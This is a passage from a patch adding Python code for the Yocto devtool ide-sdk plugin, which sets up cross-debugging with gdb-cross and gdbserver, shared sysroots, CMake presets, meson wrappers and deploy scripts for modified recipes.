+ self.staging_bindir_native = os.path.realpath(
+ recipe_d.getVar('STAGING_BINDIR_NATIVE'))
+ self.target_sys = recipe_d.getVar('TARGET_SYS')
+ return recipe_d
+
+ def initialize(self, config, workspace, tinfoil):
+ """Basic initialization that can be overridden by a derived class"""
+ self._initialize(config, workspace, tinfoil)
+
+ @property
+ def native_bin(self):
+ if not self.__native_bin:
+ raise DevtoolError("native binary name is not defined.")
+ return self.__native_bin
+
+
+class RecipeGdbCross(RecipeNative):
+ """Handle handle gdb-cross on the host and the gdbserver on the target device"""
+
+ def __init__(self, args, target_arch, target_device):
+ super().__init__('gdb-cross-' + target_arch, target_arch)
+ self.target_device = target_device
+ self.gdb = None
+ self.gdbserver_port_next = int(args.gdbserver_port_start)
+ self.config_db = {}
+
+ def __find_gdbserver(self, config, tinfoil):
+ """Absolute path of the gdbserver"""
+ recipe_d_gdb = parse_recipe(
+ config, tinfoil, 'gdb', appends=True, filter_workspace=False)
+ if not recipe_d_gdb:
+ raise DevtoolError("Parsing gdb recipe failed")
+ return os.path.join(recipe_d_gdb.getVar('bindir'), 'gdbserver')
+
+ def initialize(self, config, workspace, tinfoil):
+ super()._initialize(config, workspace, tinfoil)
+ gdb_bin = self.target_sys + '-gdb'
+ gdb_path = os.path.join(
+ self.staging_bindir_native, self.target_sys, gdb_bin)
+ self.gdb = gdb_path
+ self.gdbserver_path = self.__find_gdbserver(config, tinfoil)
+
+ @property
+ def host(self):
+ return self.target_device.host
+
+
+class RecipeImage:
+ """Handle some image recipe related properties
+
+ Most workflows require firmware that runs on the target device.
+ This firmware must be consistent with the setup of the host system.
+ In particular, the debug symbols must be compatible. For this, the
+ rootfs must be created as part of the SDK.
+ """
+
+ def __init__(self, name):
+ self.combine_dbg_image = False
+ self.gdbserver_missing = False
+ self.name = name
+ self.rootfs = None
+ self.__rootfs_dbg = None
+ self.bootstrap_tasks = [self.name + ':do_build']
+
+ def initialize(self, config, tinfoil):
+ image_d = parse_recipe(
+ config, tinfoil, self.name, appends=True, filter_workspace=False)
+ if not image_d:
+ raise DevtoolError(
+ "Parsing image recipe %s failed" % self.name)
+
+ self.combine_dbg_image = bb.data.inherits_class(
+ 'image-combined-dbg', image_d)
+
+ workdir = image_d.getVar('WORKDIR')
+ self.rootfs = os.path.join(workdir, 'rootfs')
+ if image_d.getVar('IMAGE_GEN_DEBUGFS') == "1":
+ self.__rootfs_dbg = os.path.join(workdir, 'rootfs-dbg')
+
+ self.gdbserver_missing = 'gdbserver' not in image_d.getVar(
+ 'IMAGE_INSTALL')
+
+ @property
+ def debug_support(self):
+ return bool(self.rootfs_dbg)
+
+ @property
+ def rootfs_dbg(self):
+ if self.__rootfs_dbg and os.path.isdir(self.__rootfs_dbg):
+ return self.__rootfs_dbg
+ return None
+
+
+class RecipeMetaIdeSupport:
+ """For the shared sysroots mode meta-ide-support is needed
+
+ For use cases where just a cross tool-chain is required but
+ no recipe is used, devtool ide-sdk abstracts calling bitbake meta-ide-support
+ and bitbake build-sysroots. This also allows to expose the cross-toolchains
+ to IDEs. For example VSCode support different tool-chains with e.g. cmake-kits.
+ """
+
+ def __init__(self):
+ self.bootstrap_tasks = ['meta-ide-support:do_build']
+ self.topdir = None
+ self.datadir = None
+ self.deploy_dir_image = None
+ self.build_sys = None
+ # From toolchain-scripts
+ self.real_multimach_target_sys = None
+
+ def initialize(self, config, tinfoil):
+ meta_ide_support_d = parse_recipe(
+ config, tinfoil, 'meta-ide-support', appends=True, filter_workspace=False)
+ if not meta_ide_support_d:
+ raise DevtoolError("Parsing meta-ide-support recipe failed")
+
+ self.topdir = meta_ide_support_d.getVar('TOPDIR')
+ self.datadir = meta_ide_support_d.getVar('datadir')
+ self.deploy_dir_image = meta_ide_support_d.getVar(
+ 'DEPLOY_DIR_IMAGE')
+ self.build_sys = meta_ide_support_d.getVar('BUILD_SYS')
+ self.real_multimach_target_sys = meta_ide_support_d.getVar(
+ 'REAL_MULTIMACH_TARGET_SYS')
+
+
+class RecipeBuildSysroots:
+ """For the shared sysroots mode build-sysroots is needed"""
+
+ def __init__(self):
+ self.standalone_sysroot = None
+ self.standalone_sysroot_native = None
+ self.bootstrap_tasks = [
+ 'build-sysroots:do_build_target_sysroot',
+ 'build-sysroots:do_build_native_sysroot'
+ ]
+
+ def initialize(self, config, tinfoil):
+ build_sysroots_d = parse_recipe(
+ config, tinfoil, 'build-sysroots', appends=True, filter_workspace=False)
+ if not build_sysroots_d:
+ raise DevtoolError("Parsing build-sysroots recipe failed")
+ self.standalone_sysroot = build_sysroots_d.getVar(
+ 'STANDALONE_SYSROOT')
+ self.standalone_sysroot_native = build_sysroots_d.getVar(
+ 'STANDALONE_SYSROOT_NATIVE')
+
+
+class SharedSysrootsEnv:
+ """Handle the shared sysroots based workflow
+
+ Support the workflow with just a tool-chain without a recipe.
+ It's basically like:
+ bitbake some-dependencies
+ bitbake meta-ide-support
+ bitbake build-sysroots
+ Use the environment-* file found in the deploy folder
+ """
+
+ def __init__(self):
+ self.ide_support = None
+ self.build_sysroots = None
+
+ def initialize(self, ide_support, build_sysroots):
+ self.ide_support = ide_support
+ self.build_sysroots = build_sysroots
+
+ def setup_ide(self, ide):
+ ide.setup(self)
+
+
+class RecipeNotModified:
+ """Handling of recipes added to the Direct DSK shared sysroots."""
+
+ def __init__(self, name):
+ self.name = name
+ self.bootstrap_tasks = [name + ':do_populate_sysroot']
+
+
+class RecipeModified:
+ """Handling of recipes in the workspace created by devtool modify"""
+ OE_INIT_BUILD_ENV = 'oe-init-build-env'
+
+ VALID_BASH_ENV_NAME_CHARS = re.compile(r"^[a-zA-Z0-9_]*$")
+
+ def __init__(self, name):
+ self.name = name
+ self.bootstrap_tasks = [name + ':do_install']
+ self.gdb_cross = None
+ # workspace
+ self.real_srctree = None
+ self.srctree = None
+ self.ide_sdk_dir = None
+ self.ide_sdk_scripts_dir = None
+ self.bbappend = None
+ # recipe variables from d.getVar
+ self.b = None
+ self.base_libdir = None
+ self.bblayers = None
+ self.bpn = None
+ self.d = None
+ self.fakerootcmd = None
+ self.fakerootenv = None
+ self.libdir = None
+ self.max_process = None
+ self.package_arch = None
+ self.package_debug_split_style = None
+ self.path = None
+ self.pn = None
+ self.recipe_sysroot = None
+ self.recipe_sysroot_native = None
+ self.staging_incdir = None
+ self.strip_cmd = None
+ self.target_arch = None
+ self.target_dbgsrc_dir = None
+ self.topdir = None
+ self.workdir = None
+ self.recipe_id = None
+ # replicate bitbake build environment
+ self.exported_vars = None
+ self.cmd_compile = None
+ self.__oe_init_dir = None
+ # main build tool used by this recipe
+ self.build_tool = BuildTool.UNDEFINED
+ # build_tool = cmake
+ self.oecmake_generator = None
+ self.cmake_cache_vars = None
+ # build_tool = meson
+ self.meson_buildtype = None
+ self.meson_wrapper = None
+ self.mesonopts = None
+ self.extra_oemeson = None
+ self.meson_cross_file = None
+
+ def initialize(self, config, workspace, tinfoil):
+ recipe_d = parse_recipe(
+ config, tinfoil, self.name, appends=True, filter_workspace=False)
+ if not recipe_d:
+ raise DevtoolError("Parsing %s recipe failed" % self.name)
+
+ # Verify this recipe is built as externalsrc setup by devtool modify
+ workspacepn = check_workspace_recipe(
+ workspace, self.name, bbclassextend=True)
+ self.srctree = workspace[workspacepn]['srctree']
+ # Need to grab this here in case the source is within a subdirectory
+ self.real_srctree = get_real_srctree(
+ self.srctree, recipe_d.getVar('S'), recipe_d.getVar('WORKDIR'))
+ self.bbappend = workspace[workspacepn]['bbappend']
+
+ self.ide_sdk_dir = os.path.join(
+ config.workspace_path, 'ide-sdk', self.name)
+ if os.path.exists(self.ide_sdk_dir):
+ shutil.rmtree(self.ide_sdk_dir)
+ self.ide_sdk_scripts_dir = os.path.join(self.ide_sdk_dir, 'scripts')
+
+ self.b = recipe_d.getVar('B')
+ self.base_libdir = recipe_d.getVar('base_libdir')
+ self.bblayers = recipe_d.getVar('BBLAYERS').split()
+ self.bpn = recipe_d.getVar('BPN')
+ self.cxx = recipe_d.getVar('CXX')
+ self.d = recipe_d.getVar('D')
+ self.fakerootcmd = recipe_d.getVar('FAKEROOTCMD')
+ self.fakerootenv = recipe_d.getVar('FAKEROOTENV')
+ self.libdir = recipe_d.getVar('libdir')
+ self.max_process = int(recipe_d.getVar(
+ "BB_NUMBER_THREADS") or os.cpu_count() or 1)
+ self.package_arch = recipe_d.getVar('PACKAGE_ARCH')
+ self.package_debug_split_style = recipe_d.getVar(
+ 'PACKAGE_DEBUG_SPLIT_STYLE')
+ self.path = recipe_d.getVar('PATH')
+ self.pn = recipe_d.getVar('PN')
+ self.recipe_sysroot = os.path.realpath(
+ recipe_d.getVar('RECIPE_SYSROOT'))
+ self.recipe_sysroot_native = os.path.realpath(
+ recipe_d.getVar('RECIPE_SYSROOT_NATIVE'))
+ self.staging_bindir_toolchain = os.path.realpath(
+ recipe_d.getVar('STAGING_BINDIR_TOOLCHAIN'))
+ self.staging_incdir = os.path.realpath(
+ recipe_d.getVar('STAGING_INCDIR'))
+ self.strip_cmd = recipe_d.getVar('STRIP')
+ self.target_arch = recipe_d.getVar('TARGET_ARCH')
+ self.target_dbgsrc_dir = recipe_d.getVar('TARGET_DBGSRC_DIR')
+ self.topdir = recipe_d.getVar('TOPDIR')
+ self.workdir = os.path.realpath(recipe_d.getVar('WORKDIR'))
+
+ self.__init_exported_variables(recipe_d)
+
+ if bb.data.inherits_class('cmake', recipe_d):
+ self.oecmake_generator = recipe_d.getVar('OECMAKE_GENERATOR')
+ self.__init_cmake_preset_cache(recipe_d)
+ self.build_tool = BuildTool.CMAKE
+ elif bb.data.inherits_class('meson', recipe_d):
+ self.meson_buildtype = recipe_d.getVar('MESON_BUILDTYPE')
+ self.mesonopts = recipe_d.getVar('MESONOPTS')
+ self.extra_oemeson = recipe_d.getVar('EXTRA_OEMESON')
+ self.meson_cross_file = recipe_d.getVar('MESON_CROSS_FILE')
+ self.build_tool = BuildTool.MESON
+
+ # Recipe ID is the identifier for IDE config sections
+ self.recipe_id = self.bpn + "-" + self.package_arch
+ self.recipe_id_pretty = self.bpn + ": " + self.package_arch
+
+ def append_to_bbappend(self, append_text):
+ with open(self.bbappend, 'a') as bbap:
+ bbap.write(append_text)
+
+ def remove_from_bbappend(self, append_text):
+ with open(self.bbappend, 'r') as bbap:
+ text = bbap.read()
+ new_text = text.replace(append_text, '')
+ with open(self.bbappend, 'w') as bbap:
+ bbap.write(new_text)
+
+ @staticmethod
+ def is_valid_shell_variable(var):
+ """Skip strange shell variables like systemd
+
+ prevent from strange bugs because of strange variables which
+ are not used in this context but break various tools.
+ """
+ if RecipeModified.VALID_BASH_ENV_NAME_CHARS.match(var):
+ bb.debug(1, "ignoring variable: %s" % var)
+ return True
+ return False
+
+ def debug_build_config(self, args):
+ """Explicitely set for example CMAKE_BUILD_TYPE to Debug if not defined otherwise"""
+ if self.build_tool is BuildTool.CMAKE:
+ append_text = os.linesep + \
+ 'OECMAKE_ARGS:append = " -DCMAKE_BUILD_TYPE:STRING=Debug"' + os.linesep
+ if args.debug_build_config and not 'CMAKE_BUILD_TYPE' in self.cmake_cache_vars:
+ self.cmake_cache_vars['CMAKE_BUILD_TYPE'] = {
+ "type": "STRING",
+ "value": "Debug",
+ }
+ self.append_to_bbappend(append_text)
+ elif 'CMAKE_BUILD_TYPE' in self.cmake_cache_vars:
+ del self.cmake_cache_vars['CMAKE_BUILD_TYPE']
+ self.remove_from_bbappend(append_text)
+ elif self.build_tool is BuildTool.MESON:
+ append_text = os.linesep + 'MESON_BUILDTYPE = "debug"' + os.linesep
+ if args.debug_build_config and self.meson_buildtype != "debug":
+ self.mesonopts.replace(
+ '--buildtype ' + self.meson_buildtype, '--buildtype debug')
+ self.append_to_bbappend(append_text)
+ elif self.meson_buildtype == "debug":
+ self.mesonopts.replace(
+ '--buildtype debug', '--buildtype plain')
+ self.remove_from_bbappend(append_text)
+ elif args.debug_build_config:
+ logger.warn(
+ "--debug-build-config is not implemented for this build tool yet.")
+
+ def solib_search_path(self, image):
+ """Search for debug symbols in the rootfs and rootfs-dbg
+
+ The debug symbols of shared libraries which are provided by other packages
+ are grabbed from the -dbg packages in the rootfs-dbg.
+
+ But most cross debugging tools like gdb, perf, and systemtap need to find
+ executable/library first and through it debuglink note find corresponding
+ symbols file. Therefore the library paths from the rootfs are added as well.
+
+ Note: For the devtool modified recipe compiled from the IDE, the debug
+ symbols are taken from the unstripped binaries in the image folder.
+ Also, devtool deploy-target takes the files from the image folder.
+ debug symbols in the image folder refer to the corresponding source files
+ with absolute paths of the build machine. Debug symbols found in the
+ rootfs-dbg are relocated and contain paths which refer to the source files
+ installed on the target device e.g. /usr/src/...
+ """
+ base_libdir = self.base_libdir.lstrip('/')
+ libdir = self.libdir.lstrip('/')
+ so_paths = [
+ # debug symbols for package_debug_split_style: debug-with-srcpkg or .debug
+ os.path.join(image.rootfs_dbg, base_libdir, ".debug"),
+ os.path.join(image.rootfs_dbg, libdir, ".debug"),
+ # debug symbols for package_debug_split_style: debug-file-directory
+ os.path.join(image.rootfs_dbg, "usr", "lib", "debug"),
+
+ # The binaries are required as well, the debug packages are not enough
+ # With image-combined-dbg.bbclass the binaries are copied into rootfs-dbg
+ os.path.join(image.rootfs_dbg, base_libdir),
+ os.path.join(image.rootfs_dbg, libdir),
+ # Without image-combined-dbg.bbclass the binaries are only in rootfs.
+ # Note: Stepping into source files located in rootfs-dbg does not
+ # work without image-combined-dbg.bbclass yet.
+ os.path.join(image.rootfs, base_libdir),
+ os.path.join(image.rootfs, libdir)
+ ]
+ return so_paths
+
+ def solib_search_path_str(self, image):
+ """Return a : separated list of paths usable by GDB's set solib-search-path"""
+ return ':'.join(self.solib_search_path(image))
+
+ def __init_exported_variables(self, d):
+ """Find all variables with export flag set.
+
+ This allows to generate IDE configurations which compile with the same
+ environment as bitbake does. That's at least a reasonable default behavior.
+ """
+ exported_vars = {}
+
+ vars = (key for key in d.keys() if not key.startswith(
+ "__") and not d.getVarFlag(key, "func", False))
+ for var in vars:
+ func = d.getVarFlag(var, "func", False)
+ if d.getVarFlag(var, 'python', False) and func:
+ continue
+ export = d.getVarFlag(var, "export", False)
+ unexport = d.getVarFlag(var, "unexport", False)
+ if not export and not unexport and not func:
+ continue
+ if unexport:
+ continue
+
+ val = d.getVar(var)
+ if val is None:
+ continue
+ if set(var) & set("-.{}+"):
+ logger.warn(
+ "Warning: Found invalid character in variable name %s", str(var))
+ continue
+ varExpanded = d.expand(var)
+ val = str(val)
+
+ if not RecipeModified.is_valid_shell_variable(varExpanded):
+ continue
+
+ if func:
+ code_line = "line: {0}, file: {1}\n".format(
+ d.getVarFlag(var, "lineno", False),
+ d.getVarFlag(var, "filename", False))
+ val = val.rstrip('\n')
+ logger.warn("Warning: exported shell function %s() is not exported (%s)" %
+ (varExpanded, code_line))
+ continue
+
+ if export:
+ exported_vars[varExpanded] = val.strip()
+ continue
+
+ self.exported_vars = exported_vars
+
+ def __init_cmake_preset_cache(self, d):
+ """Get the arguments passed to cmake
+
+ Replicate the cmake configure arguments with all details to
+ share on build folder between bitbake and SDK.
+ """
+ site_file = os.path.join(self.workdir, 'site-file.cmake')
+ if os.path.exists(site_file):
+ print("Warning: site-file.cmake is not supported")
+
+ cache_vars = {}
+ oecmake_args = d.getVar('OECMAKE_ARGS').split()
+ extra_oecmake = d.getVar('EXTRA_OECMAKE').split()
+ for param in oecmake_args + extra_oecmake:
+ d_pref = "-D"
+ if param.startswith(d_pref):
+ param = param[len(d_pref):]
+ else:
+ print("Error: expected a -D")
+ param_s = param.split('=', 1)
+ param_nt = param_s[0].split(':', 1)
+
+ def handle_undefined_variable(var):
+ if var.startswith('${') and var.endswith('}'):
+ return ''
+ else:
+ return var
+ # Example: FOO=ON
+ if len(param_nt) == 1:
+ cache_vars[param_s[0]] = handle_undefined_variable(param_s[1])
+ # Example: FOO:PATH=/tmp
+ elif len(param_nt) == 2:
+ cache_vars[param_nt[0]] = {
+ "type": param_nt[1],
+ "value": handle_undefined_variable(param_s[1]),
+ }
+ else:
+ print("Error: cannot parse %s" % param)
+ self.cmake_cache_vars = cache_vars
+
+ def cmake_preset(self):
+ """Create a preset for cmake that mimics how bitbake calls cmake"""
+ toolchain_file = os.path.join(self.workdir, 'toolchain.cmake')
+ cmake_executable = os.path.join(
+ self.recipe_sysroot_native, 'usr', 'bin', 'cmake')
+ self.cmd_compile = cmake_executable + " --build --preset " + self.recipe_id
+
+ preset_dict_configure = {
+ "name": self.recipe_id,
+ "displayName": self.recipe_id_pretty,
+ "description": "Bitbake build environment for the recipe %s compiled for %s" % (self.bpn, self.package_arch),
+ "binaryDir": self.b,
+ "generator": self.oecmake_generator,
+ "toolchainFile": toolchain_file,
+ "cacheVariables": self.cmake_cache_vars,
+ "environment": self.exported_vars,
+ "cmakeExecutable": cmake_executable
+ }
+
+ preset_dict_build = {
+ "name": self.recipe_id,
+ "displayName": self.recipe_id_pretty,
+ "description": "Bitbake build environment for the recipe %s compiled for %s" % (self.bpn, self.package_arch),
+ "configurePreset": self.recipe_id,
+ "inheritConfigureEnvironment": True
+ }
+
+ preset_dict_test = {
+ "name": self.recipe_id,
+ "displayName": self.recipe_id_pretty,
+ "description": "Bitbake build environment for the recipe %s compiled for %s" % (self.bpn, self.package_arch),
+ "configurePreset": self.recipe_id,
+ "inheritConfigureEnvironment": True
+ }
+
+ preset_dict = {
+ "version": 3, # cmake 3.21, backward compatible with kirkstone
+ "configurePresets": [preset_dict_configure],
+ "buildPresets": [preset_dict_build],
+ "testPresets": [preset_dict_test]
+ }
+
+ # Finally write the json file
+ json_file = 'CMakeUserPresets.json'
+ json_path = os.path.join(self.real_srctree, json_file)
+ logger.info("Updating CMake preset: %s (%s)" % (json_file, json_path))
+ if not os.path.exists(self.real_srctree):
+ os.makedirs(self.real_srctree)
+ try:
+ with open(json_path) as f:
+ orig_dict = json.load(f)
+ except json.decoder.JSONDecodeError:
+ logger.info(
+ "Decoding %s failed. Probably because of comments in the json file" % json_path)
+ orig_dict = {}
+ except FileNotFoundError:
+ orig_dict = {}
+
+ # Add or update the presets for the recipe and keep other presets
+ for k, v in preset_dict.items():
+ if isinstance(v, list):
+ update_preset = v[0]
+ preset_added = False
+ if k in orig_dict:
+ for index, orig_preset in enumerate(orig_dict[k]):
+ if 'name' in orig_preset:
+ if orig_preset['name'] == update_preset['name']:
+ logger.debug("Updating preset: %s" %
+ orig_preset['name'])
+ orig_dict[k][index] = update_preset
+ preset_added = True
+ break
+ else:
+ logger.debug("keeping preset: %s" %
+ orig_preset['name'])
+ else:
+ logger.warn("preset without a name found")
+ if not preset_added:
+ if not k in orig_dict:
+ orig_dict[k] = []
+ orig_dict[k].append(update_preset)
+ logger.debug("Added preset: %s" %
+ update_preset['name'])
+ else:
+ orig_dict[k] = v
+
+ with open(json_path, 'w') as f:
+ json.dump(orig_dict, f, indent=4)
+
+ def gen_meson_wrapper(self):
+ """Generate a wrapper script to call meson with the cross environment"""
+ bb.utils.mkdirhier(self.ide_sdk_scripts_dir)
+ meson_wrapper = os.path.join(self.ide_sdk_scripts_dir, 'meson')
+ meson_real = os.path.join(
+ self.recipe_sysroot_native, 'usr', 'bin', 'meson.real')
+ with open(meson_wrapper, 'w') as mwrap:
+ mwrap.write("#!/bin/sh" + os.linesep)
+ for var, val in self.exported_vars.items():
+ mwrap.write('export %s="%s"' % (var, val) + os.linesep)
+ mwrap.write("unset CC CXX CPP LD AR NM STRIP" + os.linesep)
+ private_temp = os.path.join(self.b, "meson-private", "tmp")
+ mwrap.write('mkdir -p "%s"' % private_temp + os.linesep)
+ mwrap.write('export TMPDIR="%s"' % private_temp + os.linesep)
+ mwrap.write('exec "%s" "$@"' % meson_real + os.linesep)
+ st = os.stat(meson_wrapper)
+ os.chmod(meson_wrapper, st.st_mode | stat.S_IEXEC)
+ self.meson_wrapper = meson_wrapper
+ self.cmd_compile = meson_wrapper + " compile -C " + self.b
+
+ def which(self, executable):
+ bin_path = shutil.which(executable, path=self.path)
+ if not bin_path:
+ raise DevtoolError(
+ 'Cannot find %s. Probably the recipe %s is not built yet.' % (executable, self.bpn))
+ return bin_path
+
+ @staticmethod
+ def is_elf_file(file_path):
+ with open(file_path, "rb") as f:
+ data = f.read(4)
+ if data == b'\x7fELF':
+ return True
+ return False
+
+ def find_installed_binaries(self):
+ """find all executable elf files in the image directory"""
+ binaries = []
+ d_len = len(self.d)
+ re_so = re.compile(r'.*\.so[.0-9]*$')
+ for root, _, files in os.walk(self.d, followlinks=False):
+ for file in files:
+ if os.path.islink(file):
+ continue
+ if re_so.match(file):
+ continue
+ abs_name = os.path.join(root, file)
+ if os.access(abs_name, os.X_OK) and RecipeModified.is_elf_file(abs_name):
+ binaries.append(abs_name[d_len:])
+ return sorted(binaries)
+
+ def gen_delete_package_dirs(self):
+ """delete folders of package tasks
+
+ This is a workaround for and issue with recipes having their sources
+ downloaded as file://
+ This likely breaks pseudo like:
+ path mismatch [3 links]: ino 79147802 db
+ .../build/tmp/.../cmake-example/1.0/package/usr/src/debug/
+ cmake-example/1.0-r0/oe-local-files/cpp-example-lib.cpp
+ .../build/workspace/sources/cmake-example/oe-local-files/cpp-example-lib.cpp
+ Since the files are anyway outdated lets deleted them (also from pseudo's db) to workaround this issue.
+ """
+ cmd_lines = ['#!/bin/sh']
+
+ # Set up the appropriate environment
+ newenv = dict(os.environ)
+ for varvalue in self.fakerootenv.split():
+ if '=' in varvalue:
+ splitval = varvalue.split('=', 1)
+ newenv[splitval[0]] = splitval[1]
+
+ # Replicate the environment variables from bitbake
+ for var, val in newenv.items():
+ if not RecipeModified.is_valid_shell_variable(var):
+ continue
+ cmd_lines.append('%s="%s"' % (var, val))
+ cmd_lines.append('export %s' % var)
+
+ # Delete the folders
+ pkg_dirs = ' '.join([os.path.join(self.workdir, d) for d in [
+ "package", "packages-split", "pkgdata", "sstate-install-package", "debugsources.list", "*.spec"]])
+ cmd = "%s rm -rf %s" % (self.fakerootcmd, pkg_dirs)
+ cmd_lines.append('%s || { "%s failed"; exit 1; }' % (cmd, cmd))
+
+ return self.write_script(cmd_lines, 'delete_package_dirs')
+
+ def gen_deploy_target_script(self, args):
+ """Generate a script which does what devtool deploy-target does
+
+ This script is much quicker than devtool target-deploy. Because it
+ does not need to start a bitbake server. All information from tinfoil
+ is hard-coded in the generated script.
+ """
+ cmd_lines = ['#!%s' % str(sys.executable)]
+ cmd_lines.append('import sys')
+ cmd_lines.append('devtool_sys_path = %s' % str(sys.path))
+ cmd_lines.append('devtool_sys_path.reverse()')
+ cmd_lines.append('for p in devtool_sys_path:')
+ cmd_lines.append(' if p not in sys.path:')
+ cmd_lines.append(' sys.path.insert(0, p)')
+ cmd_lines.append('from devtool.deploy import deploy_no_d')
+ args_filter = ['debug', 'dry_run', 'key', 'no_check_space', 'no_host_check',
+ 'no_preserve', 'port', 'show_status', 'ssh_exec', 'strip', 'target']
+ filtered_args_dict = {key: value for key, value in vars(
+ args).items() if key in args_filter}
+ cmd_lines.append('filtered_args_dict = %s' % str(filtered_args_dict))
+ cmd_lines.append('class Dict2Class(object):')
+ cmd_lines.append(' def __init__(self, my_dict):')
+ cmd_lines.append(' for key in my_dict:')
+ cmd_lines.append(' setattr(self, key, my_dict[key])')
+ cmd_lines.append('filtered_args = Dict2Class(filtered_args_dict)')
+ cmd_lines.append(
+ 'setattr(filtered_args, "recipename", "%s")' % self.bpn)
+ cmd_lines.append('deploy_no_d("%s", "%s", "%s", "%s", "%s", "%s", %d, "%s", "%s", filtered_args)' %
+ (self.d, self.workdir, self.path, self.strip_cmd,
+ self.libdir, self.base_libdir, self.max_process,
+ self.fakerootcmd, self.fakerootenv))
+ return self.write_script(cmd_lines, 'deploy_target')
+
+ def gen_install_deploy_script(self, args):
+ """Generate a script which does install and deploy"""
+ cmd_lines = ['#!/bin/bash']
+
+ cmd_lines.append(self.gen_delete_package_dirs())
+
+ # . oe-init-build-env $BUILDDIR
+ # Note: Sourcing scripts with arguments requires bash
+ cmd_lines.append('cd "%s" || { echo "cd %s failed"; exit 1; }' % (
+ self.oe_init_dir, self.oe_init_dir))
+ cmd_lines.append('. "%s" "%s" || { echo ". %s %s failed"; exit 1; }' % (
+ self.oe_init_build_env, self.topdir, self.oe_init_build_env, self.topdir))
+
+ # bitbake -c install
+ cmd_lines.append(
+ 'bitbake %s -c install --force || { echo "bitbake %s -c install --force failed"; exit 1; }' % (self.bpn, self.bpn))
+
+ # Self contained devtool deploy-target
+ cmd_lines.append(self.gen_deploy_target_script(args))
+
+ return self.write_script(cmd_lines, 'install_and_deploy')
+
+ def write_script(self, cmd_lines, script_name):
+ bb.utils.mkdirhier(self.ide_sdk_scripts_dir)
+ script_name_arch = script_name + '_' + self.recipe_id
+ script_file = os.path.join(self.ide_sdk_scripts_dir, script_name_arch)
+ with open(script_file, 'w') as script_f:
+ script_f.write(os.linesep.join(cmd_lines))
+ st = os.stat(script_file)
+ os.chmod(script_file, st.st_mode | stat.S_IEXEC)
+ return script_file
+
+ @property
+ def oe_init_build_env(self):
+ """Find the oe-init-build-env used for this setup"""
+ oe_init_dir = self.oe_init_dir
+ if oe_init_dir:
+ return os.path.join(oe_init_dir, RecipeModified.OE_INIT_BUILD_ENV)
+ return None
+
+ @property
+ def oe_init_dir(self):
+ """Find the directory where the oe-init-build-env is located
+
+ Assumption: There might be a layer with higher priority than poky
+ which provides to oe-init-build-env in the layer's toplevel folder.
+ """
+ if not self.__oe_init_dir:
+ for layer in reversed(self.bblayers):
+ result = subprocess.run(
+ ['git', 'rev-parse', '--show-toplevel'], cwd=layer, capture_output=True)
+ if result.returncode == 0:
+ oe_init_dir = result.stdout.decode('utf-8').strip()
+ oe_init_path = os.path.join(
+ oe_init_dir, RecipeModified.OE_INIT_BUILD_ENV)
+ if os.path.exists(oe_init_path):
+ logger.debug("Using %s from: %s" % (
+ RecipeModified.OE_INIT_BUILD_ENV, oe_init_path))
+ self.__oe_init_dir = oe_init_dir
+ break
+ if not self.__oe_init_dir:
+ logger.error("Cannot find the bitbake top level folder")
+ return self.__oe_init_dir
+
+
+def ide_setup(args, config, basepath, workspace):
+ """Generate the IDE configuration for the workspace"""
+
+ # Explicitely passing some special recipes does not make sense
+ for recipe in args.recipenames:
+ if recipe in ['meta-ide-support', 'build-sysroots']:
+ raise DevtoolError("Invalid recipe: %s." % recipe)
+
+ # Collect information about tasks which need to be bitbaked
+ bootstrap_tasks = []
+ bootstrap_tasks_late = []
+ tinfoil = setup_tinfoil(config_only=False, basepath=basepath)
+ try:
+ # define mode depending on recipes which need to be processed
+ recipes_image_names = []
+ recipes_modified_names = []
+ recipes_other_names = []
+ for recipe in args.recipenames:
+ try:
+ check_workspace_recipe(
+ workspace, recipe, bbclassextend=True)
+ recipes_modified_names.append(recipe)
+ except DevtoolError:
+ recipe_d = parse_recipe(
+ config, tinfoil, recipe, appends=True, filter_workspace=False)
+ if not recipe_d:
+ raise DevtoolError("Parsing recipe %s failed" % recipe)
+ if bb.data.inherits_class('image', recipe_d):
+ recipes_image_names.append(recipe)
+ else:
+ recipes_other_names.append(recipe)
+
+ invalid_params = False
+ if args.mode == DevtoolIdeMode.shared:
+ if len(recipes_modified_names):
+ logger.error("In shared sysroots mode modified recipes %s cannot be handled." % str(
+ recipes_modified_names))
+ invalid_params = True
+ if args.mode == DevtoolIdeMode.modified:
+ if len(recipes_other_names):
+ logger.error("Only in shared sysroots mode not modified recipes %s can be handled." % str(
+ recipes_other_names))
+ invalid_params = True
+ if len(recipes_image_names) != 1:
+ logger.error(
+ "One image recipe is required as the rootfs for the remote development.")
+ invalid_params = True
+ for modified_recipe_name in recipes_modified_names:
+ if modified_recipe_name.startswith('nativesdk-') or modified_recipe_name.endswith('-native'):
+ logger.error(
+ "Only cross compiled recipes are support. %s is not cross." % modified_recipe_name)
+ invalid_params = True
+
+ if invalid_params:
+ raise DevtoolError("Invalid parameters are passed.")
+
+ # For the shared sysroots mode, add all dependencies of all the images to the sysroots
+ # For the modified mode provide one rootfs and the corresponding debug symbols via rootfs-dbg
+ recipes_images = []
+ for recipes_image_name in recipes_image_names:
+ logger.info("Using image: %s" % recipes_image_name)
+ recipe_image = RecipeImage(recipes_image_name)
+ recipe_image.initialize(config, tinfoil)
+ bootstrap_tasks += recipe_image.bootstrap_tasks
+ recipes_images.append(recipe_image)
+
+ # Provide a Direct SDK with shared sysroots
+ recipes_not_modified = []
+ if args.mode == DevtoolIdeMode.shared:
+ ide_support = RecipeMetaIdeSupport()
+ ide_support.initialize(config, tinfoil)
+ bootstrap_tasks += ide_support.bootstrap_tasks
+
+ logger.info("Adding %s to the Direct SDK sysroots." %
+ str(recipes_other_names))
+ for recipe_name in recipes_other_names:
+ recipe_not_modified = RecipeNotModified(recipe_name)
+ bootstrap_tasks += recipe_not_modified.bootstrap_tasks
+ recipes_not_modified.append(recipe_not_modified)
+
+ build_sysroots = RecipeBuildSysroots()
+ build_sysroots.initialize(config, tinfoil)
+ bootstrap_tasks_late += build_sysroots.bootstrap_tasks
+ shared_env = SharedSysrootsEnv()
+ shared_env.initialize(ide_support, build_sysroots)
+
+ recipes_modified = []
+ if args.mode == DevtoolIdeMode.modified:
+ logger.info("Setting up workspaces for modified recipe: %s" %
+ str(recipes_modified_names))
+ gdbs_cross = {}
+ for recipe_name in recipes_modified_names:
+ recipe_modified = RecipeModified(recipe_name)
+ recipe_modified.initialize(config, workspace, tinfoil)
+ bootstrap_tasks += recipe_modified.bootstrap_tasks
+ recipes_modified.append(recipe_modified)
+
+ if recipe_modified.target_arch not in gdbs_cross:
+ target_device = TargetDevice(args)
+ gdb_cross = RecipeGdbCross(
+ args, recipe_modified.target_arch, target_device)
